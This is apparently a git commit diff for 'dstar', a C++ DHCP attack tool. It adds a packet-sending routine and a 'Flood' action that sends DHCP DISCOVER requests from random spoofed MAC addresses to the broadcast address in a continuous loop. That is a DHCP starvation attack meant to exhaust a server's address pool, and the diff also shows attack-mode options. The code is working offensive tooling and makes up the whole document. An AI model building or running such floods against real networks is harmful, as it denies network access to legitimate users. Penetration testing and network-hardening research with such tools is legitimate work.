Implemented sendDhcpMsg, added first simple action: Flood

Author: jacopodl

CMakeLists.txt

@@ -27,7 +27,7 @@ link_directories("${source_dir}/bin/")
 include_directories(include)
 set(EXECUTABLE_OUTPUT_PATH "${PROJECT_SOURCE_DIR}/bin")
 
-add_executable(dstar src/main.cpp src/Core.cpp)
+add_executable(dstar src/main.cpp src/Core.cpp src/actions/Flood.cpp)
 add_dependencies(dstar ${DEP_ARGSX})
 add_dependencies(dstar ${DEP_SPARK})
 target_link_libraries(dstar pthread)

include/Core.h

@@ -17,27 +17,37 @@
 #ifndef DSTAR_CORE_H
 #define DSTAR_CORE_H
 
+#include <thread>
+#include <list>
 #include <string>
 #include <spark.h>
 
 #include <PacketInfo.h>
+#include <DhcpAction.h>
 
 #define SOCK_BUFSIZE 2048
 
+class DhcpAction;
+
 class Core {
 private:
+ std::thread thActions;
+ std::list<DhcpAction *> actions;
  SpkSock *sock;
  unsigned char *buf;
- bool stop = false;
+
+ void executeActions();
 
  void recvDhcp();
 
 public:
+ bool stop = false;
+
  void openSocket(const std::string &interface);
 
  int sendDhcpMsg(DhcpPacket *message, unsigned short len, PacketInfo *pktInfo);
 
- void registerCallback();
+ void registerAction(DhcpAction *action);
 };
 
 

include/DhcpAction.h

@@ -0,0 +1,18 @@
+#ifndef DSTAR_DHCPACTION_H
+#define DSTAR_DHCPACTION_H
+
+#include <Core.h>
+#include <spark.h>
+
+class Core;
+
+class DhcpAction {
+public:
+ virtual ~DhcpAction() = default;
+
+ virtual void action(Core *core) = 0;
+
+ virtual void recvDhcpMsg(Core *core, PacketInfo *pktInfo, DhcpPacket *dhcp) {};
+};
+
+#endif //DSTAR_DHCPACTION_H

include/actions/Flood.h

@@ -0,0 +1,13 @@
+#ifndef DSTAR_FLOOD_H
+#define DSTAR_FLOOD_H
+
+#include <thread>
+
+#include <DhcpAction.h>
+
+class Flood : public virtual DhcpAction {
+public:
+ void action(Core *core) override;
+};
+
+#endif //DSTAR_FLOOD_H

src/Core.cpp

@@ -16,9 +16,17 @@
 
 #include <iostream>
 #include <cstring>
+#include <thread>
 
 #include "Core.h"
 
+void Core::executeActions() {
+ while (!this->stop) {
+ for (auto action:this->actions)
+ action->action(this);
+ }
+}
+
 void Core::recvDhcp() {
  EthHeader *eth;
  Ipv4Header *ip;
@@ -69,6 +77,9 @@ void Core::recvDhcp() {
  continue;
 
  pktInfo.toServer = ntohs(udp->srcport) == 68 && ntohs(udp->dstport) == 67;
+
+ for (auto action:this->actions)
+ action->recvDhcpMsg(this, &pktInfo, dhcp);
  }
 }
 
@@ -87,6 +98,18 @@ int Core::sendDhcpMsg(DhcpPacket *message, unsigned short len, PacketInfo *pktIn
  src = 68;
  dst = 67;
  }
+
+ eth = eth_inject_header(buf, &this->sock->iaddr, &pktInfo->phisAddr, ETHTYPE_IP);
+ ip = ip_inject_header((unsigned char *) eth->data,
+ &pktInfo->ipSrc,
+ &pktInfo->ipDst, IPDEFIHL,
+ ip_mkid(),
+ (unsigned short) UDPHDRSIZE + len,
+ IPDEFTTL,
+ 0x11);
+ udp = udp_inject_header((unsigned char *) ip->data, src, dst, len);
+ memcpy(udp->data, message, len);
+ return spark_write(this->sock, buf, ETHHDRSIZE + IPHDRSIZE + UDPHDRSIZE + len);
 }
 
 void Core::openSocket(const std::string &interface) {
@@ -99,11 +122,15 @@ void Core::openSocket(const std::string &interface) {
 
  this->buf = new unsigned char[SOCK_BUFSIZE];
 
+ this->thActions = std::thread(&Core::executeActions, this);
+
  this->recvDhcp();
 
+ this->thActions.join();
+
  delete[] this->buf;
 }
 
-void Core::registerCallback() {
-
+void Core::registerAction(DhcpAction *action) {
+ this->actions.push_front(action);
 }

src/actions/Flood.cpp

@@ -0,0 +1,20 @@
+#include <actions/Flood.h>
+#include <iostream>
+
+void Flood::action(Core *core) {
+ DhcpPacket dhcpPacket{};
+ PacketInfo pktInfo{};
+ netaddr_mac(req);
+ int err;
+
+ eth_rndaddr(&req);
+ eth_bcast(&pktInfo.phisAddr);
+ pktInfo.ipDst.ip = 0xFFFFFFFF;
+ pktInfo.toServer = true;
+
+ dhcp_inject_discovery((unsigned char *) &dhcpPacket, &req, nullptr, DHCP_FLAGS_BROADCAST);
+ if ((err = core->sendDhcpMsg(&dhcpPacket, DHCPPKTSIZE, &pktInfo)) < 0) {
+ std::cerr << "Flood action: " << spark_strerror(err) << std::endl;
+ core->stop = true;
+ }
+}

src/main.cpp

@@ -18,7 +18,7 @@
 #include <argsx.h>
 
 #include <dstar.h>
-#include "Core.h"
+#include <actions/Flood.h>
 
 using namespace std;
 
@@ -71,6 +71,7 @@ int main(int argc, char **argv) {
  printWelcome();
 
  if (options.mode & ATKMODE_FLOOD) {
+ core.registerAction(new Flood());
 
  } else if (options.mode & ATKMODE_RELEASE) {